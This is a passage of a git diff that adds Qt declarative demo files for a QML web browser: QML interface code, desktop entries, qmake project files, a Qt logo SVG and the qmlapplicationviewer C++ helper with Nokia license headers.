+ width: (bg.width - 20) * webView.progress
+ opacity: webView.progress == 1.0 ? 0.0 : 1.0
+ }
+
+ TextInput {
+ id: urlText
+ horizontalAlignment: TextEdit.AlignLeft
+ font.pixelSize: 14;
+
+ onTextChanged: container.urlChanged()
+
+ Keys.onEscapePressed: {
+ urlText.text = webView.url
+ webView.focus = true
+ }
+
+ Keys.onEnterPressed: {
+ container.urlEntered(urlText.text)
+ webView.focus = true
+ }
+
+ Keys.onReturnPressed: {
+ container.urlEntered(urlText.text)
+ webView.focus = true
+ }
+
+ anchors {
+ left: parent.left; right: parent.right; leftMargin: 18; rightMargin: 18
+ verticalCenter: parent.verticalCenter
+ }
+ }
+}
diff --git a/demos/declarative/webbrowser/qml/webbrowser/content/pics/display.png b/demos/declarative/webbrowser/qml/webbrowser/content/pics/display.png
new file mode 100644
index 00000000..9507f438
--- /dev/null
+++ b/demos/declarative/webbrowser/qml/webbrowser/content/pics/display.png
Binary files differ
diff --git a/demos/declarative/webbrowser/qml/webbrowser/content/pics/edit-delete.png b/demos/declarative/webbrowser/qml/webbrowser/content/pics/edit-delete.png
new file mode 100644
index 00000000..df2a147d
--- /dev/null
+++ b/demos/declarative/webbrowser/qml/webbrowser/content/pics/edit-delete.png
Binary files differ
diff --git a/demos/declarative/webbrowser/qml/webbrowser/content/pics/go-jump-locationbar.png b/demos/declarative/webbrowser/qml/webbrowser/content/pics/go-jump-locationbar.png
new file mode 100644
index 00000000..61f779ce
--- /dev/null
+++ b/demos/declarative/webbrowser/qml/webbrowser/content/pics/go-jump-locationbar.png
Binary files differ
diff --git a/demos/declarative/webbrowser/qml/webbrowser/content/pics/go-next-view.png b/demos/declarative/webbrowser/qml/webbrowser/content/pics/go-next-view.png
new file mode 100644
index 00000000..a585cab8
--- /dev/null
+++ b/demos/declarative/webbrowser/qml/webbrowser/content/pics/go-next-view.png
Binary files differ
diff --git a/demos/declarative/webbrowser/qml/webbrowser/content/pics/go-previous-view.png b/demos/declarative/webbrowser/qml/webbrowser/content/pics/go-previous-view.png
new file mode 100644
index 00000000..612fb34d
--- /dev/null
+++ b/demos/declarative/webbrowser/qml/webbrowser/content/pics/go-previous-view.png
Binary files differ
diff --git a/demos/declarative/webbrowser/qml/webbrowser/content/pics/scrollbar.png b/demos/declarative/webbrowser/qml/webbrowser/content/pics/scrollbar.png
new file mode 100644
index 00000000..0228dcf9
--- /dev/null
+++ b/demos/declarative/webbrowser/qml/webbrowser/content/pics/scrollbar.png
Binary files differ
diff --git a/demos/declarative/webbrowser/qml/webbrowser/content/pics/titlebar-bg.png b/demos/declarative/webbrowser/qml/webbrowser/content/pics/titlebar-bg.png
new file mode 100644
index 00000000..06961e8d
--- /dev/null
+++ b/demos/declarative/webbrowser/qml/webbrowser/content/pics/titlebar-bg.png
Binary files differ
diff --git a/demos/declarative/webbrowser/qml/webbrowser/content/pics/view-refresh.png b/demos/declarative/webbrowser/qml/webbrowser/content/pics/view-refresh.png
new file mode 100644
index 00000000..afa2a9d7
--- /dev/null
+++ b/demos/declarative/webbrowser/qml/webbrowser/content/pics/view-refresh.png
Binary files differ
diff --git a/demos/declarative/webbrowser/qml/webbrowser/webbrowser.qml b/demos/declarative/webbrowser/qml/webbrowser/webbrowser.qml
new file mode 100644
index 00000000..ac1024ec
--- /dev/null
+++ b/demos/declarative/webbrowser/qml/webbrowser/webbrowser.qml
@@ -0,0 +1,79 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import QtWebKit 1.0
+
+import "content"
+
+Rectangle {
+ id: webBrowser
+
+ property string urlString : "http://www.nokia.com/"
+
+ width: 800; height: 600
+ color: "#343434"
+
+ FlickableWebView {
+ id: webView
+ url: webBrowser.urlString
+ onProgressChanged: header.urlChanged = false
+ anchors { top: headerSpace.bottom; left: parent.left; right: parent.right; bottom: parent.bottom }
+ }
+
+ Item { id: headerSpace; width: parent.width; height: 62 }
+
+ Header {
+ id: header
+ editUrl: webBrowser.urlString
+ width: headerSpace.width; height: headerSpace.height
+ }
+
+ ScrollBar {
+ scrollArea: webView; width: 8
+ anchors { right: parent.right; top: header.bottom; bottom: parent.bottom }
+ }
+
+ ScrollBar {
+ scrollArea: webView; height: 8; orientation: Qt.Horizontal
+ anchors { right: parent.right; rightMargin: 8; left: parent.left; bottom: parent.bottom }
+ }
+}
diff --git a/demos/declarative/webbrowser/webbrowser.desktop b/demos/declarative/webbrowser/webbrowser.desktop
new file mode 100644
index 00000000..1a7e4f2c
--- /dev/null
+++ b/demos/declarative/webbrowser/webbrowser.desktop
@@ -0,0 +1,11 @@
+[Desktop Entry]
+Encoding=UTF-8
+Version=1.0
+Type=Application
+Terminal=false
+Name=webbrowser
+Exec=/opt/webbrowser/bin/webbrowser
+Icon=webbrowser64
+X-Window-Icon=
+X-HildonDesk-ShowInToolbar=true
+X-Osso-Type=application/x-executable
diff --git a/demos/declarative/webbrowser/webbrowser.pro b/demos/declarative/webbrowser/webbrowser.pro
new file mode 100644
index 00000000..c640e889
--- /dev/null
+++ b/demos/declarative/webbrowser/webbrowser.pro
@@ -0,0 +1,39 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/webbrowser
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xE8ECBC65
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_DEMOS]/declarative/webbrowser
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/demos/declarative/webbrowser/webbrowser.qmlproject b/demos/declarative/webbrowser/webbrowser.qmlproject
new file mode 100644
index 00000000..a05672d3
--- /dev/null
+++ b/demos/declarative/webbrowser/webbrowser.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/webbrowser"
+ }
+ JavaScriptFiles {
+ directory: "qml/webbrowser"
+ }
+ ImageFiles {
+ directory: "qml/webbrowser"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/demos/declarative/webbrowser/webbrowser.svg b/demos/declarative/webbrowser/webbrowser.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/demos/declarative/webbrowser/webbrowser.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/demos/declarative/webbrowser/webbrowser64.png b/demos/declarative/webbrowser/webbrowser64.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/demos/declarative/webbrowser/webbrowser64.png
Binary files differ
diff --git a/demos/declarative/webbrowser/webbrowser80.png b/demos/declarative/webbrowser/webbrowser80.png
new file mode 100644
index 00000000..6ad8096c
--- /dev/null
+++ b/demos/declarative/webbrowser/webbrowser80.png
Binary files differ
diff --git a/demos/declarative/webbrowser/webbrowser_harmattan.desktop b/demos/declarative/webbrowser/webbrowser_harmattan.desktop
new file mode 100644
index 00000000..455d7148
--- /dev/null
+++ b/demos/declarative/webbrowser/webbrowser_harmattan.desktop
@@ -0,0 +1,11 @@
+[Desktop Entry]
+Encoding=UTF-8
+Version=1.0
+Type=Application
+Terminal=false
+Name=webbrowser
+Exec=/usr/bin/single-instance /opt/webbrowser/bin/webbrowser
+Icon=/usr/share/icons/hicolor/80x80/apps/webbrowser80.png
+X-Window-Icon=
+X-HildonDesk-ShowInToolbar=true
+X-Osso-Type=application/x-executable
diff --git a/demos/helper/helper.pro b/demos/helper/helper.pro
new file mode 100644
index 00000000..03b3dcd6
--- /dev/null
+++ b/demos/helper/helper.pro
@@ -0,0 +1,7 @@
+TEMPLATE = subdirs
+
+# the helpers simply need a make install target, but require no compilation
+sources.files = \
+ qmlapplicationviewer
+sources.path = $$[QT_INSTALL_DEMOS]/helper
+INSTALLS += sources
diff --git a/demos/helper/qmlapplicationviewer/qmlapplicationviewer.cpp b/demos/helper/qmlapplicationviewer/qmlapplicationviewer.cpp
new file mode 100644
index 00000000..570f68f3
--- /dev/null
+++ b/demos/helper/qmlapplicationviewer/qmlapplicationviewer.cpp
@@ -0,0 +1,226 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmlapplicationviewer.h"
+
+#include <QtCore/QDir>
+#include <QtCore/QFileInfo>
+#include <QtDeclarative/QDeclarativeComponent>
+#include <QtDeclarative/QDeclarativeEngine>
+#include <QtDeclarative/QDeclarativeContext>
+#include <QtGui/QApplication>
+
+#include <qplatformdefs.h> // MEEGO_EDITION_HARMATTAN
+
+#ifdef HARMATTAN_BOOSTER
+#include <MDeclarativeCache>
+#endif
+
+#if defined(QMLJSDEBUGGER) && QT_VERSION < 0x040800
+
+#include <qt_private/qdeclarativedebughelper_p.h>
+
+#if !defined(NO_JSDEBUGGER)
+#include <jsdebuggeragent.h>
+#endif
+#if !defined(NO_QMLOBSERVER)
+#include <qdeclarativeviewobserver.h>
+#endif
+
+// Enable debugging before any QDeclarativeEngine is created
+struct QmlJsDebuggingEnabler
+{
+ QmlJsDebuggingEnabler()
+ {
+ QDeclarativeDebugHelper::enableDebugging();
+ }
+};
+
+// Execute code in constructor before first QDeclarativeEngine is instantiated
+static QmlJsDebuggingEnabler enableDebuggingHelper;
+
+#endif // QMLJSDEBUGGER
+
+class QmlApplicationViewerPrivate
+{
+ QmlApplicationViewerPrivate(QDeclarativeView *view_) : view(view_) {}
+
+ QString mainQmlFile;
+ QDeclarativeView *view;
+ friend class QmlApplicationViewer;
+ QString adjustPath(const QString &path);
+};
+
+QString QmlApplicationViewerPrivate::adjustPath(const QString &path)
+{
+#ifdef Q_OS_MAC
+ if (!QDir::isAbsolutePath(path))
+ return QString::fromLatin1("%1/../Resources/%2")
+ .arg(QCoreApplication::applicationDirPath(), path);
+#else
+ const QString pathInInstallDir =
+ QString::fromLatin1("%1/../%2").arg(QCoreApplication::applicationDirPath(), path);
+ if (QFileInfo(pathInInstallDir).exists())
+ return pathInInstallDir;
+#endif
+ return path;
+}
+
+QmlApplicationViewer::QmlApplicationViewer(QWidget *parent)
+ : QDeclarativeView(parent)
+ , d(new QmlApplicationViewerPrivate(this))
+{
+ connect(engine(), SIGNAL(quit()), SLOT(close()));
+ setResizeMode(QDeclarativeView::SizeRootObjectToView);
+ // Qt versions prior to 4.8.0 don't have QML/JS debugging services built in
+#if defined(QMLJSDEBUGGER) && QT_VERSION < 0x040800
+#if !defined(NO_JSDEBUGGER)
+ new QmlJSDebugger::JSDebuggerAgent(d->view->engine());
+#endif
+#if !defined(NO_QMLOBSERVER)
+ new QmlJSDebugger::QDeclarativeViewObserver(d->view, d->view);
+#endif
+#endif
+}
+
+QmlApplicationViewer::QmlApplicationViewer(QDeclarativeView *view, QWidget *parent)
+ : QDeclarativeView(parent)
+ , d(new QmlApplicationViewerPrivate(view))
+{
+ connect(view->engine(), SIGNAL(quit()), view, SLOT(close()));
+ view->setResizeMode(QDeclarativeView::SizeRootObjectToView);
+ // Qt versions prior to 4.8.0 don't have QML/JS debugging services built in
+#if defined(QMLJSDEBUGGER) && QT_VERSION < 0x040800
+#if !defined(NO_JSDEBUGGER)
+ new QmlJSDebugger::JSDebuggerAgent(d->view->engine());
+#endif
+#if !defined(NO_QMLOBSERVER)
+ new QmlJSDebugger::QDeclarativeViewObserver(d->view, d->view);
+#endif
+#endif
+}
+
+QmlApplicationViewer::~QmlApplicationViewer()
+{
+ delete d;
+}
+
+QmlApplicationViewer *QmlApplicationViewer::create()
+{
+#ifdef HARMATTAN_BOOSTER
+ return new QmlApplicationViewer(MDeclarativeCache::qDeclarativeView(), 0);
+#else
+ return new QmlApplicationViewer();
+#endif
+}
+
+void QmlApplicationViewer::setMainQmlFile(const QString &file)
+{
+ d->mainQmlFile = d->adjustPath(file);
+ d->view->setSource(QUrl::fromLocalFile(d->mainQmlFile));
+}
+
+void QmlApplicationViewer::addImportPath(const QString &path)
+{
+ d->view->engine()->addImportPath(d->adjustPath(path));
+}
+
+void QmlApplicationViewer::setOrientation(ScreenOrientation orientation)
+{
+#if defined(Q_OS_SYMBIAN)
+ // If the version of Qt on the device is < 4.7.2, that attribute won't work
+ if (orientation != ScreenOrientationAuto) {
+ const QStringList v = QString::fromAscii(qVersion()).split(QLatin1Char('.'));
+ if (v.count() == 3 && (v.at(0).toInt() << 16 | v.at(1).toInt() << 8 | v.at(2).toInt()) < 0x040702) {
+ qWarning("Screen orientation locking only supported with Qt 4.7.2 and above");
+ return;
+ }
+ }
+#endif // Q_OS_SYMBIAN
+
+ Qt::WidgetAttribute attribute;
+ switch (orientation) {
+#if QT_VERSION < 0x040702
+ // Qt < 4.7.2 does not yet have the Qt::WA_*Orientation attributes
+ case ScreenOrientationLockPortrait:
+ attribute = static_cast<Qt::WidgetAttribute>(128);
+ break;
+ case ScreenOrientationLockLandscape:
+ attribute = static_cast<Qt::WidgetAttribute>(129);
+ break;
+ default:
+ case ScreenOrientationAuto:
+ attribute = static_cast<Qt::WidgetAttribute>(130);
+ break;
+#else // QT_VERSION < 0x040702
+ case ScreenOrientationLockPortrait:
+ attribute = Qt::WA_LockPortraitOrientation;
+ break;
+ case ScreenOrientationLockLandscape:
+ attribute = Qt::WA_LockLandscapeOrientation;
+ break;
+ default:
+ case ScreenOrientationAuto:
+ attribute = Qt::WA_AutoOrientation;
+ break;
+#endif // QT_VERSION < 0x040702
+ };
+ setAttribute(attribute, true);
+}
+
+void QmlApplicationViewer::showExpanded()
+{
+#if defined(Q_OS_SYMBIAN) || defined(MEEGO_EDITION_HARMATTAN) || defined(Q_WS_SIMULATOR)
+ d->view->showFullScreen();
+#elif defined(Q_WS_MAEMO_5)
+ d->view->showMaximized();
+#else
+ d->view->show();
+#endif
+}
+
+QApplication *createApplication(int &argc, char **argv)
+{
+#ifdef HARMATTAN_BOOSTER
+ return MDeclarativeCache::qApplication(argc, argv);
+#else
+ return new QApplication(argc, argv);
+#endif
+}
diff --git a/demos/helper/qmlapplicationviewer/qmlapplicationviewer.h b/demos/helper/qmlapplicationviewer/qmlapplicationviewer.h
new file mode 100644
index 00000000..85c02ab6
--- /dev/null
+++ b/demos/helper/qmlapplicationviewer/qmlapplicationviewer.h
@@ -0,0 +1,77 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QMLAPPLICATIONVIEWER_H
+#define QMLAPPLICATIONVIEWER_H
+
+#include <QtDeclarative/QDeclarativeView>
+
+class QmlApplicationViewer : public QDeclarativeView
+{
+ Q_OBJECT
+
+public:
+ enum ScreenOrientation {
+ ScreenOrientationLockPortrait,
+ ScreenOrientationLockLandscape,
+ ScreenOrientationAuto
+ };
+
+ explicit QmlApplicationViewer(QWidget *parent = 0);
+ virtual ~QmlApplicationViewer();
+
+ static QmlApplicationViewer *create();
+
+ void setMainQmlFile(const QString &file);
+ void addImportPath(const QString &path);
+
+ // Note that this will only have an effect on Symbian and Fremantle.
+ void setOrientation(ScreenOrientation orientation);
+
+ void showExpanded();
+
+private:
+ explicit QmlApplicationViewer(QDeclarativeView *view, QWidget *parent);
+ class QmlApplicationViewerPrivate *d;
+};
+
+QApplication *createApplication(int &argc, char **argv);
+
+#endif // QMLAPPLICATIONVIEWER_H
diff --git a/demos/helper/qmlapplicationviewer/qmlapplicationviewer.pri b/demos/helper/qmlapplicationviewer/qmlapplicationviewer.pri
new file mode 100644
index 00000000..6809b644
--- /dev/null
